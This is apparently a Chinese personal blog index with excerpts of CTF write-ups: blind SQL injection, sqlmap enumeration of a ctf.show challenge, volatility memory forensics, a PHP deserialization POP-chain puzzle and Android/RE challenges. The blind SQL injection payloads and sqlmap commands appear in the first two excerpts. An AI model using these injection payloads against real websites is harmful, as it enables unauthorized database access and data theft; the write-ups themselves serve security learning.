sql盲注

sql盲注 写在前面:盲注可以使用逻辑符and来对我们的指令进行判断 如: /?id=1’ and length(database())=8– # 常用判断语句和函数 length(database())=8 判断当前所在库的长度为8 left()函数返回str字符串中最左边的长度字符。如果str或length参数为NULL,则返回NULL值 如:left(str,length): substr()函数:从指定位置开始的输入字符串返回一个子字符串。SUBSTR(字符串, 起点); 布尔盲注 第一步:寻找注入点(略) 第二步:判断数据库长度,然后猜测数据库名字 判断当前所在库的长度为8: ?id=1’ and length(database())=8–+ 然后可以开始进行数据库的猜测了。 猜测数据库第一位: ?id=1’ and left(database(),1)>‘a’ –+ 以此类推可以获得库名 获得库名后可以查表了:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>80– # 上述可以在database()对应的库中查询数据库的第一个表的第一个字符。其中的table_schema 可以写成 =‘security’。 写不下去了,直接用sqlmap梭哈就完事了,折腾这么多闹麻了

December 25, 2023 · 1 min · 42 words · huarui

sqlmap使用

sqlmap使用 常用参数 常用参数 --dbs 所有数据库 --tables 所有表 --columns 所有列 第一步:开始脚本注入 使用sqlmap -u url来进行注入 例: sqlmap -u “http://d96b8b94-0e30-4e6a-810b-caf654fe2b02.challenge.ctf.show/?id=" 第二步:查表 执行上述命令后得到注入成功的回显然后可以进行查库操作 如上述命令执行后得到 available databases [7]: [*] ctfshow [*] ctftraining [*] information_schema [*] mysql [*] performance_schema [*] security [*] test 接下来可以查看指定库的所有表:sqlmap -u “http://d96b8b94-0e30-4e6a-810b-caf654fe2b02.challenge.ctf.show/?id=" -D ctfshow –tables ...

December 17, 2023 · 1 min · 114 words · huarui

Somebody-内存取证

Somebody-内存取证 下载文件得到一个vmem后缀,用内存取证工具volatility-master打开 先使用python2 vol.py -f body.vmem imageinfo获得profile信息 根据提示,知道桌面放东西,然后使用 python2 vol.py -f body.vmem –profile=Win7SP1x64 filescan | grep “Desktop” 查找和桌面有关的东西 ...

December 1, 2023 · 1 min · 31 words · huarui

unsign-反序列化-亲爱的领导构造例子记录

unsign-反序列化-亲爱的领导构造例子记录 刚刚学了学长的构造方法,这里放个例子 原题 <?php //flag.php class oooooo { public $var='flag.php'; public $ld; public $sb; public function __destruct() { $this->ld=&$this->sb; } public function end($value) { echo "end\n"; $this->sb=md5(rand(1, 10000)); if ($this->ld===$this->sb){ echo "flag"; } } public function __get($key){ echo "get\n"; $this->end($this->var); } } class bbaa { public $p; public function __destruct() { $function = $this->p; return $function(); } } class alpha { public $s; public function __invoke(){ echo "invoke\n"; echo $this->s; } } class sapphire { public $source; public $str; public function __construct(){ $this->str='666'; } public function __toString(){ echo "toString\n"; return $this->str->source; } } 值得注意的地方: ...

November 19, 2023 · 1 min · 155 words · huarui

极客大挑战-unsign-反序列化

极客大挑战-unsign-反序列化 拿到题目整体观察一下,可以发现这是pop链相关的反序列化 反推法:从终点类反推pop 可以很明显地看到web类就是我们的终点,终点是web类的魔术方法__get 贴一个魔术方法的笔记 想要触发get,就必须使得调用的成员方法不存在。观察整体,可以看到在lover类代码"return $this->yxx->QW“在调用成员 乍一看好像没有什么毛病,其实我们如果使得这里的yxx变成web,那么$this->yxx->QW就会改写成$this->web->QW,而web类里并不存在QW这个成员,就可以触发魔术方法_get() ...

November 19, 2023 · 1 min · 55 words · huarui

安卓so逆向

安卓so逆向 这里用极客大联盟的安卓题为示例 打开程序,这道题主要是让我们砍树,砍了很多遍才允许我们验证flag 开局直入主题,打开MainActivity,发现按钮事件 当我们砍树了777次之后,就会将我们传入的text和"Sycloveforerver"一起传入一个叫MainActivity.l0o0l的函数 我们点入MainActivity.l0o0l这个函数看一下 这里明显有一个调用so的特征。这里科普一下so *开发Android应用时,有时候Java层的编码不能满足实现需求,就需要到C/C++实现后生成SO文件,再用System.loadLibrary()加载进行调用,成为JNI层的实现。常见的场景如:加解密算法,音视频编解码等。在生成SO文件时,需要考虑适配市面上不同手机CPU架构,而生成支持不同平台的SO文件进行兼容。目前Android共支持七种不同类型的CPU架构,分别是:ARMv5,ARMv7 (从2010年起),x86 (从2011年起),MIPS (从2012年起),ARMv8,MIPS64和x86_64 (从2014年起) so库一般是程序里面核心代码块,通过Android提供的NDK技术将核心代码用安全性更高的C/C++语言实现并提供给Java层调用来保证程序核心代码的安全。* so层的特征就是System.loadLibrary(),类似于其他语言中的文件包含,第三方库这种 解压这个安卓apk,用压缩软件解压apk,在相应的地方用ida打开so文件 点开之后搜索可以看到一个关键函数 ...

November 7, 2023 · 1 min · 19 words · huarui

攻防世界RE-666

攻防世界 RE-666 题目的main函数 按照顺序,题目将输入v5传递给encode,返回为s,s拿去和enflag比较 进入encode函数看看 批评某人指针没学就乱来 这里它将传入的a1(也就是刚刚传入的v5)拿进去进行各种异或操作,返回a2这个数组。 从逆向的角度分析a2就是刚刚enflag的值。所以我们要构造逆向,目标就是将a1求出来 解法如下图所示 这里做一些指针方面的说明 ...

November 7, 2023 · 1 min · 19 words · huarui

0 min · 0 words · huarui

0 min · 0 words · huarui

0 min · 0 words · huarui